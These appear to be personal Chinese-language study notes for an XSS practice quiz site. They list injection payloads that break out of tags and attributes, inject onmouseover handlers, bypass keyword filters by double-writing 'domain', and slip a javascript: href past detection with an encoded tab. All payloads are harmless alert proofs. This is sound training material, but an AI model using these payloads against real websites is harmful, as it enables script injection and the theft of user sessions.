参考
https://baike.baidu.com/item/XSS%E6%94%BB%E5%87%BB/954065?fr=aladdin
https://xss-quiz.int21h.jp/
- 闭合标签
"</b><script>alert(document.domain);</script>
- 闭合属性,input标签
"><script>alert(document.domain);</script>
- 闭合下拉框
在这里插入代码片
- 改变标签属性值
input标签 属性 type改为 text
hackme"><script>alert(document.domain);</script>
-
修改属性值,闭合标签
-
添加属性事件,构造闭合
https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
" οnmοuseοver="alert(document.domain);
- 通过提交的数据,添加属性值
利用空格
123 onmouseover=alert(document.domain)
- JavaScript解释运行href
- 双写绕过
"><script>alert(document.dodomainmain);</script>
- 添加标签,利用href,实体编号跳过关键字的检测
"><a href="javascr	ipt:alert(document.domain);">123</a>